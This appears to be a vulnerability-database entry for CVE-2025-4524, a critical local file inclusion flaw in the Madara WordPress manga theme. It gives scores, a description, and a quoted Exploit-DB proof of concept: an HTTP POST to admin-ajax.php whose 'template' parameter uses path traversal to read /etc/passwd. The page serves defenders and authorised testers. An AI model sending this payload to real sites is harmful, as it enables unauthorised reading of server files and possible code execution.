CVE-2025-4524

critical

Published 2025-05-21 · Modified 2026-04-29

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CVSS v3

9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

The Madara – Responsive and modern WordPress theme for manga sites theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.2.2 via the 'template' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Predictions

Exploit likelihood

97%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-52487 webapps multiple text · 1 KB

Beatriz Fresno Naumova · 2026-04-06

WordPress Madara - Local File Inclusion

text exploit Source: Exploit-DB

# Exploit Title: WordPress Madara Local File Inclusion 
# Date: November 1, 2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: WordPress Theme Madara
# Software Link: WordPress Theme Madara
# Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4]
# CVE: CVE-2025-4524


#Attack Vector
body="/wp-content/plugins/madara/"

#POC
POST /wp-admin/admin-ajax.php HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490

action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.